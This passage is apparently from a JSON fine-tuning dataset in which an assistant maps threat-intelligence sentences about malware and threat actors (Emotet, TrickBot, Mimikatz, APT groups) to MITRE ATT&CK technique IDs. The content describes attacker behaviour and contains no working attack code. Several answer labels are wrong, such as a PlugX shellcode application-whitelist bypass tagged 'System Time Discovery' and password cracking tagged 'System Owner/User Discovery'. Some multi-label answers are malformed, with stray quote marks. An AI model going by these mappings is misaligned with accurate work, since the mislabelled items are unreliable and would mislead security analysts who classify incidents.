                "content": "A Lazarus Group malware sample performs reflective DLL injection."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSX/Shlayer can masquerade as a Flash Player update."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "installs a service pointing to a malicious DLL dropped to disk."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remsec can obtain a list of users."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has deployed different types of containers into victim environments to facilitate execution. TeamTNT has also transferred cryptocurrency mining software to Kubernetes clusters discovered within local IP address ranges."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy a container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "xCaon has a command to download files to the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After encrypting its own log files, the log encryption module in Prikormka deletes the original, unencrypted files from the host."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "What does it mean for everyone and how to defend against such attacks, including zero-day exploits? For CVE-2017-11292 and other similar vulnerabilities, one can use the killbit for Flash within their organizations to disable it in any applications that respect it.  Unfortunately, doing this system-wide is not easily done, as Flash objects can be loaded in applications that potentially do not follow the killbit"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dridex can use multiple layers of proxy servers to hide terminal nodes in its infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before proceeding to file encryption operations, the ransomware force stops (“kills”) processes listed by process name in a hard-coded list within the encoded strings of the malware. A full list with assessed process function or relationship is provided in Appendix A of this report. While some of the referenced processes appear to relate to security or management software (e.g. Qihoo 360 Safeguard and Microsoft System Center), the majority of the listed processes concern databases (e.g. IBM Tivoli), or ICS-related processes"
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has side-loaded its malicious DLL file."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used valid accounts shared between Managed Service Providers and clients to move between the two environments."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Azorult can steal credentials in files belonging to common software such as Skype, Telegram, and Steam."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cardinal RAT establishes Persistence by setting the  \"HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load\" Registry key to point to its executable."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Night Dragon, threat actors used password cracking and pass-the-hash tools to discover usernames and passwords."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT-C-36 has disguised its scheduled tasks as those used by Google."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mimikatz creates a new server and nTDSDSA objects in the Active Directory forest Configuration partition. Next, it updates the SPN (Service Principal Name) of the computer hosting the rogue domain controller to “GC” (Global Catalog) and “E3514235-4B06-11D1-AB04-00C04FC2DCD2” (Active Directory Replication). The rogue domain controller is now registered and capable of replicating data to other domain controllers."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to log keystrokes from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The initial infection occurs via a weaponized Microsoft Excel (XLS) document delivered via compromised legitimate websites for which the URLs are most likely shared via email. The documents use Visual Basic for Applications (VBA) Macro code which, if enabled by the victim, starts an installation process consisting of multiple components that result in the plug-in loader payload being downloaded and executed"
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link', 'T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Naikon has modified a victim's Windows Run registry to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a backdoor through which remote attackers can retrieve information such as hostname and free disk space."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BONDUPDATER can download or upload files from its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BloodHound can collect information about domain users, including identification of domain admin accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The monitoring loop will retrieve the address of WTSEnumerateSessionsW and the local mac address using GetAdaptersInfo"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries aiming to exfiltrate large amounts of data will often use one or more systems or storage locations for intermittent storage of the collected data. This process is called staging and is one of the of the activities that NCC Group and Fox-IT has observed in the analysed C2 traffic"
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility', 'T1074.001 - Data Staged: Local Data Staging', 'T1074.002 - Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obtains the system time and will only activate if it is greater than a preset date."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "There are multiple active campaigns currently delivering Emotet. The first is a simple email with a Word document attached. This example also shows the second type of campaign, leveraging a direct URL download instead of Office documents with macros that fetch the malware. Malicious code embedded in the malicious attachment functions as a downloader for the Emotet malware. When this code is executed, PowerShell is invoked, which reaches out to the Emotet malware distribution server, downloads the malicious payload, and executes it, thus infecting the system. In the screenshot above, you can see that the script is configured with multiple URLs that can be used to download the PE32 executable associated with Emotet. The malware is overwhelmingly hosted on compromised websites. These sites are then leveraged as random hosting locations for the campaigns to leverage. The initial URL is requested with a connection keep-alive in the header. Talos has observed recent runs of Emotet checking if the compromised system's IP address is currently found on many spam-related blocklists including those hosted by SpamCop, Spamhaus, and SORBS, among others"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The buffer containing the ZxShell Dll in the new location is freed using the VirtualFree API function. A handle to the DLL file is taken in order to make its deletion more difficult. The ZxShell mutex is created named @_ZXSHELL_"
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Linux Rabbit brute forces SSH passwords in order to attempt to gain access and install its malware onto the server."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Astaroth spawns a CMD process to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After patching, the threat actor can use the Skeleton Key password configured at the time of deployment to log in as any domain user. Legitimate users can still log in using their own passwords"
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can acquire network configuration information like DNS servers, public IP, and network proxies used by a host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "down_new has the ability to base64 encode C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Doki has used the dogechain.info API to generate a C2 address."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "injects its DLL file into a newly spawned Internet Explorer process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot has used \"Nt*\" Native API functions to inject code into legitimate processes such as \"wermgr.exe\"."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clambling can enumerate the IP address of a compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XAgentOSX contains the showBackupIosFolder function to check for IOS device backups by running \"ls -la ~/Library/Application\\ Support/MobileSync/Backup/\"."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Gamaredon group uses a package that includes a custom Microsoft Outlook Visual Basic for Applications (VBA) project. Using Outlook macros to deliver malware is something we rarely see while investigating malicious campaigns"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API', 'T1218.011 - Signed Binary Proxy Execution: Rundll32', 'T1120 - Peripheral Device Discovery', 'T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 4 – Backdoored authentication function in SSH server As you can see in Figure 4, this version of Dropbear SSH will authenticate the user if the password passDs5Bu9Te7 was entered"
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sibot has obfuscated scripts used in execution."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has tricked unwitting recipients into clicking on spearphishing attachments and enabling malicious macros embedded within files."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AuTo Stealer can exfiltrate data over actor-controlled C2 servers via HTTP or TCP."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors discovered network disks mounted to the system using netstat."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The files uploaded to this webshell included the same compiled python script that would scan remote systems that were vulnerable to CVE-2017-0144 (EternalBlue) that we saw uploaded to the other errr.aspx webshell."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zeus Panda queries the system's keyboard mapping to determine the language used on the system. It will terminate execution if it detects LANG_RUSSIAN, LANG_BELARUSIAN, LANG_KAZAK, or LANG_UKRAINIAN."
            },
            {
                "role": "assistant",
                "content": "T1614.001 - System Location Discovery: System Language Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An  Port 22 malware variant registers itself as a service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkComet can listen in to victims' conversations through the system’s microphone."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pony attachments have been delivered via compressed archive files. Pony also obfuscates the memory flow by adding junk instructions when executing to make analysis more difficult."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While Emotet has been around for many years and is one of the most well-known pieces of malware in the wild, that doesn't mean attackers don't try to freshen it up. These new campaigns have been observed following a period of relatively low Emotet distribution activity, corresponding with the observance of Orthodox Christmas in certain geographic regions. These new malicious efforts involve sending victims malicious Microsoft Word attachments with embedded macros that download Emotet. This latest strain has also gained the ability to check if the infected IP where the malicious email is being sent from is already blocklisted on a spam list"
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has used PubPrn.vbs within execution scripts to execute malware, possibly bypassing defenses."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - Signed Script Proxy Execution: Pubprn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ObliqueRAT can capture a screenshot of the current screen."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT1 has registered hundreds of domains for use in operations."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clop can make modifications to Registry keys."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UPPERCUT has the capability to obtain the time zone information and current timestamp of the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QuietSieve can check C2 connectivity with a `ping` to 8.8.8.8 (Google public DNS)."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In another case the attackers use another code snippet borrowed from the SubTee GitHub project, this time filling in a fully templated .NET application whitelist bypass file: SHA256: 3e9136f95fa55852993cd15b82fe6ec54f78f34584f7689b512a46f0a22907f2: This time the attacker didn’t have to write any of their own code, instead they were simply able to paste their shellcode directly into a template, in order to launch PlugX as a child process of a trusted application"
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The link provided in the malicious email led to a fake VPN Web Portal:  Upon logging in with the credentials provided in the email, the victim is presented with the following page:  The victim is asked to install the “VPN Client” (an .exe file), or, if download fails, to download a password protected zip (with the same .exe file inside)"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 used 7-Zip to compress stolen emails into password-protected archives prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has used the Windows API to execute code within a victim's system."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "nbtstat can be used to discover local NetBIOS domain names."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Enabling the macros starts a multi-stage infection chain that eventually downloads and executes a Cobalt Strike beacon, providing the attackers with a foothold inside the target organization."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Receiving C2 instructions from user profiles created by the adversary on legitimate websites/forums such as Github and Microsoft's TechNet portal"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crimson can identify the geographical location of a victim host."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used multiple types of scripting for execution, including JavaScript, JavaScript Scriptlets in XML, and VBScript."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It’s also used to inject code into its target processes using the technique."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can use winapiexec tool for indirect execution of  \"ShellExecuteW\" and \"CreateProcessA\"."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mis-Type network traffic can communicate over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang has used NTDSDump and other password dumping tools to gather credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OopsIE uses the command prompt to execute commands on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects network adapter and interface information by using the commands ipconfig /all, arp -a and route print. It also collects the system's MAC address with getmac and domain configuration with net config workstation."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload delivered in these November 2017 attacks using DDE enabled documents was SofacyCarberp, which differs from the Zebrocy downloader delivered in the February 2018 attacks"
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
